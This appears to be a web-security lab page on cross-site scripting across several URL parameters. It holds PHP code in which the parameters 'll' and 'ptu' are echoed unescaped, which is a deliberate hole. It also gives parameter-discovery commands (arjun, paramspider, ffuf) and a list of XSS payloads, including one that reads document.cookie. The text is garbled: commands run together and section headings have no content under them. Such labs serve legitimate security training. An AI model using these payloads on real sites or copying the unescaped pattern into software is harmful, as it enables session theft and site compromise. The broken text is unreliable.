Test XSS across multiple parameters with different security levels
This lab contains multiple parameters with different security implementations. Some parameters use secure encoding while others have no filtering at all.
htmlspecialchars().
# use arjun tool to find hidden parameter
Objective: Discover all parameters and identify which ones are vulnerable to XSS attacks.
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["page_id"])){
echo htmlspecialchars($_GET["page_id"], ENT_QUOTES);
}
elseif(isset($_GET["ll"])){
echo $_GET["ll"];
}
elseif(isset($_GET["ptu"])){
echo $_GET["ptu"];
}
# use arjun tool to find hidden parameter
arjun -u https://example.compython3 paramspider.py -d example.comffuf -w wordlist.txt -u https://example.com?FUZZ=testThis lab demonstrates:
For secure web applications:
<script>alert(1)</script><script>alert(document.domain)</script><script>alert(document.cookie)</script><img src=x onerror=alert(1)><body onload=alert(1)><svg onload=alert(1)><a href="javascript:alert(1)">click</a><iframe src="javascript:alert(1)"></iframe><form action="javascript:alert(1)"><input type=submit></form><script src="data:text/javascript,alert(1)"></script><object data="javascript:alert(1)"></object><embed src="javascript:alert(1)"></embed>